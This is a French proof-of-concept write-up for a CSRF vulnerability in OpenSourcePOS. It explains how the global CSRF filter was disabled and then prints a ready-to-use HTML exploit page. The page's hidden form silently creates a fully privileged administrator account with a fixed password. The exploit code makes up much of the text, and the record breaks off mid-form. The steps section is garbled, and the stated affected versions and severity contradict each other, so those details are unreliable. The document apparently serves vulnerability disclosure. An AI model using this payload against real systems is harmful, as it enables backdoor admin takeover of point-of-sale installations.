
PoC & Write-up pour CVE-2025-68434 : CSRF critique dans OpenSourcePOS. Exploite une configuration de filtre désactivée pour permettre à des attaquants non authentifiés de créer silencieusement des comptes Administrateur malveillants, entraînant une prise de contrôle complète du système. Validé sur les versions < 3.4.0.
| Métadonnées | Détails |
|---|---|
| ID CVE | CVE-2025-68434 |
| Sévérité | Critique (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Type de vulnérabilité | Cross-Site Request Forgery (CWE-352) |
| Versions affectées | OpenSourcePOS v3.4.0, v3.4.1 |
| Version corrigée | v3.4.2 |
| Composant vulnérable | app/Config/Filters.php (Global Security Filters) |
| Rapporteur | Aditya Singh (Nixon-H) |
Une vulnérabilité Critique de Cross-Site Request Forgery (CSRF) a été découverte dans la configuration de sécurité centrale d'OpenSourcePOS. Le mécanisme de protection CSRF global de l'application était explicitement désactivé dans le fichier app/Config/Filters.php en raison d'un "TODO" de développement temporaire qui n'a jamais été résolu.
Cette mauvaise configuration permettait à l'application d'accepter des requêtes HTTP modifiant l'état (POST) sans vérifier un jeton anti-contrefaçon valide. Un attaquant distant non authentifié pouvait exploiter cela en amenant un Administrateur connecté à visiter une page malveillante. La page de l'attaquant forcerait alors silencieusement le navigateur de la victime à exécuter des actions administratives ; spécifiquement, créer un nouveau compte Administrateur "Backdoor" avec tous les privilèges ; conduisant à une prise de contrôle complète du système.
La vulnérabilité se trouvait dans la configuration Global Filters (app/Config/Filters.php). Dans CodeIgniter 4, le tableau $globals détermine quels filtres s'exécutent sur chaque requête.
Dans les versions affectées, le filtre csrf a été mis en commentaire dans la liste d'exécution before, désactivant ainsi la protection CSRF pour l'ensemble de l'application.
Code vulnérable (app/Config/Filters.php) :
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Étant donné que cette ligne a été mise en commentaire, le middleware chargé de vérifier csrf_token_name ne s'est jamais exécuté. L'application acceptait toute requête POST de n'importe quelle origine, en s'appuyant uniquement sur le cookie de session (ospos_session) pour l'authentification.
csrf_exploit.html sur un serveur externe.valid_12345) est créé instantanément.POC/csrf_exploit.html)Ceci est la charge utile exacte utilisée pour créer un Administrateur malveillant avec toutes les permissions :
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">